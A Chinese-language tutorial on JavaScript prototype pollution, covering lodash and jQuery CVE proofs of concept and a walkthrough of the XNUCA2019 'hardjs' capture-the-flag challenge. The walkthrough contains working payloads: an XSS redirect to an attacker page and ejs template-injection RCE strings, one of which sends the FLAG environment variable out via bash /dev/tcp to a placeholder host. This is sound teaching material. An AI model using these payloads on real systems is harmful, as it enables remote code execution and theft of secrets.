溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

JavaScript Prototype污染攻擊是怎樣的

發(fā)布時(shí)間:2021-09-30 10:23:56 來源:億速云 閱讀:157 作者:柒染 欄目:網(wǎng)絡(luò)安全

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)JavaScript Prototype污染攻擊是怎樣的,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

0x00 正文

原型和原型鏈

JavaScript中,我們?nèi)绻x一個(gè)類,需要以定義“構(gòu)造函數(shù)”的方式來定義。也就是說,我們定義了一個(gè)函數(shù),就會(huì)有對(duì)應(yīng)的一個(gè)類,類名為該函數(shù)名。

原型

每個(gè)函數(shù)對(duì)象都會(huì)有個(gè)prototype屬性,它指向了該構(gòu)建函數(shù)實(shí)例化的原型。使用該構(gòu)建函數(shù)實(shí)例化對(duì)象時(shí),會(huì)繼承該原型中的屬性及方法。

所有的對(duì)象都有__proto__屬性,它指向了創(chuàng)建它的構(gòu)建函數(shù)的原型。

在P神的介紹JavaScript原型污染攻擊文章中我們可以知道以下兩個(gè)性質(zhì)。

  1. prototype是一個(gè)類的屬性,所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype中的屬性和方法

  2. 一個(gè)對(duì)象的__proto__屬性,指向這個(gè)對(duì)象所在的類的prototype屬性

原型鏈

所謂原型鏈也是指JS中的一個(gè)繼承和反向查找的機(jī)制,函數(shù)對(duì)象可以通過prototype屬性找到函數(shù)原型,普通實(shí)例對(duì)象可以通過__proto__屬性找到構(gòu)建其函數(shù)的原型。

JavaScript的這個(gè)查找的機(jī)制,被運(yùn)用在面向?qū)ο蟮睦^承中,被稱作prototype繼承鏈

  1. 每個(gè)構(gòu)造函數(shù)(constructor)都有一個(gè)原型對(duì)象(prototype)

  2. 對(duì)象的__proto__屬性,指向類的原型對(duì)象prototype

  3. JavaScript使用prototype鏈實(shí)現(xiàn)繼承機(jī)制

具體的可以參考下面的解釋圖(參考鏈接見附錄)

JavaScript Prototype污染攻擊是怎樣的

原型鏈污染

原型污染是指將屬性注入現(xiàn)有JavaScript語言構(gòu)造原型(如對(duì)象)的能力。

JavaScript允許更改所有Object屬性,包括它們的神奇屬性,如_proto_,constructorprototype

在一個(gè)應(yīng)用中,如果攻擊者控制并修改了一個(gè)對(duì)象的原型,那么將可以影響所有和這個(gè)對(duì)象來自同一個(gè)類、父祖類的對(duì)象,所有JavaScript對(duì)象通過原型鏈繼承,都會(huì)繼承Object.prototype上的屬性,這種攻擊方式就是原型鏈污染

當(dāng)發(fā)生這種情況時(shí),有可能會(huì)被攻擊者利用從而注入攻擊代碼達(dá)到篡改程序或者執(zhí)行命令的目的。

原型鏈污染出現(xiàn)的情況

根據(jù)p神文章所說,原型鏈污染主要是因?yàn)楣粽呖梢栽O(shè)置__proto__的值,導(dǎo)致污染,因此我們的目光應(yīng)該瞄準(zhǔn)哪些地方可以設(shè)置__proto__的值,或者說尋找某些對(duì)象,可以控制其鍵名的操作。

比如:

  • 對(duì)象merge

  • 對(duì)象clone(將待操作對(duì)象merge到一個(gè)空對(duì)象中)

舉個(gè)例子:

假如存在一個(gè)merge操作:

function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}

這里沒有對(duì)鍵值進(jìn)行過濾,假如key為__proto__,那么就可以進(jìn)行原型鏈污染。

這里需要注意,要配合JSON.parse使得我們輸入的__proto__被解析成鍵名,JSON解析的情況下,__proto__會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,否則它只會(huì)被當(dāng)作當(dāng)前對(duì)象的”原型“而不會(huì)向上影響,例如:

>let o2 = {a: 1, "__proto__": {b: 2}}>merge({}, o2)<undefined
>o2.__proto__<{b: 2}           //直接返回對(duì)應(yīng)值
>console.log({}.b)<undefined        //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')>merge({},o3)<undefined
>console.log({}.b)<2                //原型被成功污染

CVE-2019-10744Lodash.defaultsDeep

https://snyk.io/vuln/SNYK-JS-LODASH-450202//Affecting lodash package, versions <4.17.12

Lodash是一個(gè)一致性、模塊化、高性能的JavaScript 實(shí)用原生庫,不需要引入其他第三方依賴,意在提高開發(fā)者效率,提高JS原生方法性能。它通過降低array、number、objects、string 等等的使用難度從而讓 JavaScript 變得更簡(jiǎn)單。此軟件包的<4.17.12版本會(huì)受到原型污染的影響。

在Lodash庫中defaultsDeep函數(shù)可以進(jìn)行構(gòu)造函數(shù)(constructor)重載,通過構(gòu)造函數(shù)重載的方式可以欺騙添加或修改Object.prototype的屬性,這個(gè)性質(zhì)可以被用于原型污染。

驗(yàn)證POC:

const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {    mergeFn({}, JSON.parse(payload));    if (({})[`a0`] === true) {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);    }  }
check();

CVE-2019-11358

JQuery<=3.4.0中的$.extend

./src/core.js中:

155: if ((options = arguments[ i ]) != null)

如果傳入的參數(shù)arguments[i]不為空,將賦值給options,隨后會(huì)逐個(gè)取出并賦值給copy

158: for (name in options) {
159:     copy= options [name];

因此copy值為外部可控

183: target[name] = jQuery.extend (deep,clone, copy);

隨后使用jQuery的extend函數(shù)將copy對(duì)象的內(nèi)容合并到目標(biāo)對(duì)象clone中,deep是它的可選參數(shù),指示是否深度合并該對(duì)象,默認(rèn)為false,如果為true,且多個(gè)對(duì)象的同名屬性也都是對(duì)象,則該“屬性對(duì)象“的屬性也將進(jìn)行合并。其中,extend函數(shù)有以下兩個(gè)需要注意的地方:

  1. 如果只為$.extend()指定了一個(gè)參數(shù),則意味著參數(shù)target被省略。此時(shí),target就是jQuery對(duì)象本身。通過這種方式,我們可以為全局對(duì)象jQuery添加新的函數(shù)。

127:target = arguments[ 0 ] || {},
  1. 如果多個(gè)對(duì)象具有相同的屬性,則后者會(huì)覆蓋前者的屬性值。

在小于3.4.0版中extend方法不作檢查,把copy對(duì)象合并到target對(duì)象中

187:target[name] = copy;

如果 name 可以為 __proto__,則會(huì)向上影響target 的原型,進(jìn)而覆蓋造成原型污染。

下面為驗(yàn)證POC

>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined

可以看到當(dāng)已經(jīng)發(fā)生了原型污染

在補(bǔ)丁中可以看到對(duì)屬性值進(jìn)行了過濾:

for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( name === "__proto__" || target === copy ) { continue; }

Node.js中命令執(zhí)行

在Node.js中有時(shí)需要執(zhí)行一些系統(tǒng)命令,這時(shí)候會(huì)用到child_process模塊,該模塊翻譯過來就是子進(jìn)程,主要通過產(chǎn)生子進(jìn)程來執(zhí)行系統(tǒng)命令。

global.process.mainModule.require('child_process').exec global.process.mainModule.constructor._load('child_process').exec

0X01 題目:XNUCA2019 hardjs


方法一:JQuery中$.extend污染+前端XXS

在robot.py里面可以看到FLAG是藏在主機(jī)的環(huán)境變量中,并賦值給password。

username = "admin" password = os.getenv("FLAG")

首先,利用JQuery中$.extend污染session

在server.js中,對(duì)用戶進(jìn)行如下判斷:

function auth(req,res,next){    // var session = req.session;    if(!req.session.login || !req.session.userid ){        res.redirect(302,"/login");    } else{        next();    }    }

通過前面的一些知識(shí)我們可以知道,在調(diào)用一個(gè)不存在的屬性key時(shí),結(jié)果會(huì)返回undefined,比如

>function a(){}<undefined>a.aaa<undefined>let b = new a()<undefined>b.aaa<undefined

那么req.session.login以及req.session.userid在用戶未登錄之前的值也是undefined的,按照之前所學(xué)習(xí)的原型鏈污染,如果我們能污染Object,那么我們只需要修改Object里的login和userid為true或者1,那么在session找不到login和userid兩個(gè)屬性值時(shí)就會(huì)向父對(duì)象進(jìn)行查找,一直到找到父對(duì)象具有這兩個(gè)屬性值或者查找到NULL為止,因?yàn)镺bject里的login和userid已經(jīng)被污染,因此可以任意用戶登錄。

在app.js中使用了存在漏洞的jQuery版本并使用了$.extend方法

function getAll(allNode){
 $.ajax({    url:"/get",    type:"get",    async:false,    success: function(datas){      for(var i=0 ;i<datas.length; i++){        $.extend(true,allNode,datas[i])      }      // console.log(allNode);    }  })}

因此我們可以污染原型,首先向add路由請(qǐng)求6次,因?yàn)橛涗洍l數(shù)大于5才會(huì)執(zhí)行合并

server.js中

else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql                console.log("Merge the recorder in the database."); 
       var sql = "select `id`,`dom` from  `html` where userid=? ";        var raws = await query(sql,[userid]);        var doms = {}        var ret = new Array();
       for(var i=0;i<raws.length ;i++){            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
           var sql = "delete from `html` where id = ?";            var result = await query(sql,raws[i].id);        }
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}

然后訪問一下get路由來觸發(fā)$.extend來污染原型

所以現(xiàn)在可以以任意用戶登錄。

在所給的robot.py中我們可以看到以下設(shè)置:

chrome_options.add_argument('--disable-xss-auditor') chrome_options.add_argument('--no-sandbox')

可以看到bot利用selenium打開網(wǎng)站首頁,原本是會(huì)跳轉(zhuǎn)到login的,而密碼就是flag,但是我們對(duì)原型進(jìn)行了污染使得可以直接登錄了網(wǎng)站首頁,如果我們能在前端(即網(wǎng)站首頁)進(jìn)行XSS,再加上bot原來就會(huì)執(zhí)行一次login的發(fā)送動(dòng)作,那么我們就可以在首頁構(gòu)造一個(gè)form使得bot執(zhí)行的submit動(dòng)作指向我們的服務(wù)器,所以我們就可以獲取到提交的password也就是flag了。

繼續(xù)查看代碼,看看頁面時(shí)如何進(jìn)行渲染的,在前端app.js中,用js生成模板時(shí),遍歷了hints數(shù)組并將hints數(shù)組里面的內(nèi)容寫入到對(duì)應(yīng)li標(biāo)簽中,header、notice、wiki、button和message都會(huì)被渲染進(jìn)sandbox中

this.sandbox.setAttribute('sandbox', 'allow-same-origin')

即使我們可以寫表單,也無法提交,數(shù)據(jù)中的js不會(huì)被執(zhí)行。

for (key in dom){          switch(key){            case 'header':              $tmp = $("li[type='header']");              $newNode = $( $tmp.html() );              $newNode.find("span.content").html(dom[key][0]);
             // console.log($newNode.html());
             viewport.appendChild( $newNode[0] );              break;            case "notice":              // console.log(dom[key]);              $tmp = $("li[type='notice']");              $newNode = $( $tmp.html() );              $newNode.find("span.content").html(dom[key][0]);              viewport.appendChild( $newNode[0] );
             break;            case "wiki":              // console.log(dom[key]);
             $tmp = $("li[type='wiki']");              $newNode = $( $tmp.html() );              $newNode.find("span.content").html(dom[key][0]);              viewport.appendChild( $newNode[0] );
             break;            case "button":              // console.log(dom[key]);
             $tmp = $("li[type='button']");              $newNode = $( $tmp.html() );              $newNode.find("span.content").html(dom[key][0]);              viewport.appendChild( $newNode[0] );
             break;            case "message":              // console.log(dom[key]);              $tmp = $("li[type='message']");              $newNode = $( $tmp.html() );
             $newNode.find("span.content").html(dom[key][0]);              viewport.appendChild( $newNode[0] );              break;            default:              console.log(key,":",dom[key]);          }
       }

接著看

(function(){    var hints = {      header : "自定義內(nèi)容",      notice: "自定義公告",      wiki : "自定義wiki",      button:"自定義內(nèi)容",      message: "自定義留言內(nèi)容"    };    for(key in hints){      // console.log(key);      element = $("li[type='"+key+"']");       if(element){        element.find("span.content").html(hints[key]);      }    }  })();

如果在前端頁面能找到li標(biāo)簽且含有type屬性,那么就可以考慮污染logger變量,使得hints數(shù)組也含有l(wèi)ogger屬性,從而把logger的內(nèi)容打印到頁面中,且避開sandbox,這樣就可以執(zhí)行XSS了

<li type="logger">          <div class="col-sm-12 col-sm-centered">              <pre class="am-pre-scrollable">                  <span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>              </pre>          </div>      </li>

進(jìn)行XSS,誘導(dǎo)bot把數(shù)據(jù)提交到指定服務(wù)器,這里需要注意的是在污染session成功以后,需要用useid=1的賬號(hào)來進(jìn)行l(wèi)ogger的污染,當(dāng)提交次數(shù)大于5之后,訪問get路由,觸發(fā)server.js中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));成功污染,把flag打到VPS

{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

方法二:后端RCE之opts.outputFunctionName

const ejs = require('ejs')

該項(xiàng)目使用ejs庫作為模板引擎,由于該模板引擎中通常會(huì)有eval等操作用于解析,因此可以去看ejs的存在原型鏈污染的地方。

查看ejs源碼可以發(fā)現(xiàn),很大一部分調(diào)用全是為了動(dòng)態(tài)拼接一個(gè)js語句,當(dāng)opts存在屬性outputFunctionName時(shí),該屬性outputFunctionName便會(huì)被直接拼接到這段js中。

if (!this.source) {      this.generateSource();      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';      if (opts.outputFunctionName) {        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';      }      if (opts._with !== false) {        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';        appended += '  }' + '\n';      }      appended += '  return __output.join("");' + '\n';      this.source = prepended + this.source + appended;    }

然后根據(jù)拼接的內(nèi)容,生成動(dòng)態(tài)函數(shù)

try{  ctor = (new Function('return (async function(){}).constructor;'));}.....else {        ctor = Function;      }      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);    }

此處如果可以控制opts.outputFunctionName為惡意代碼,即可實(shí)現(xiàn)RCE

附上出題者的payload

{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

拼接到后端的動(dòng)態(tài)函數(shù)則是:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';// After injectionprepended += ' var a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代碼都被注釋了'

污染了原型鏈之后,渲染直接變成了執(zhí)行代碼,并提前 return,從而 getshell

方法三:后端RCE之opts.escapeFunction

同樣可以找到另外一處地方

var escapeFn = opts.escapeFunction;var ctor;....if (opts.client) {    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;    if (opts.compileDebug) {        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;    }}

偽造escapeFunction也可以打到RCE

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; returnprocess.env.FLAG","debug":true, "compileDebug": true}}}

上述就是小編為大家分享的JavaScript Prototype污染攻擊是怎樣的了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI